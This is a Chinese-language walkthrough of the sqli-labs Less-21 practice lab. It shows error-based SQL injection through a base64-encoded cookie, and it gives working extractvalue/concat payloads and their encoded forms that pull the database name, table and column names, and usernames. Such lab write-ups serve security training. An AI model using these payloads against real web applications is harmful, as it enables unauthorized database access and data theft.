姿势
该题考察base64加密的cookie注入
该题有两种注入方式,本文分享手工注入知识
经测试得到正确的用户名dumb,密码dumb并抓包
RHVtYg%3D%3D 经过base64解密得到 Dumb ,故可利用cookie参数进行sql语句注入
该题采用报错注入,原理及姿势可参考: 报错注入 | sqli-labs Less-5实战
查库名
Dumb') and extractvalue(1,concat(0x23,database()))#
这里构造’)的原因可通过页面回显得出,不再赘述。
经过得到:
RHVtYicgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDIzLGRhdGFiYXNlKCkpKSM=
可知库名为security
查表名
Dumb') and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
得到:
RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMywoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hID0gZGF0YWJhc2UoKSkpKSM=
得到四个表名
查列名
Dumb') and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#
得到
RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMywoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lID0gJ3VzZXJzJykpKSM=
得到三个列:
查数据
该姿势使用到mid函数,参考文章: mid函数原理、应用及实战讲解
以获取username列的数据为例,利用mid函数构造POC:
Dumb') and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#
得到:
RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMyxtaWQoKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gdXNlcnMpLDEsMzIpKSkj
结果如图:
接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
Dumb') and extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32)))#
得到:
RHVtYicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHgyMyxtaWQoKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gc2VjdXJpdHkudXNlcnMpLDMyLDMyKSkpIw==
结果如图:
总结
以上为[网络安全]sqli-labs Less-21 解题详析,考察base64加密、报错注入、mid函数等知识点及姿势,后续将分享[网络安全]sqli-labs Less-22 解题详析。
我是秋说,我们下次见。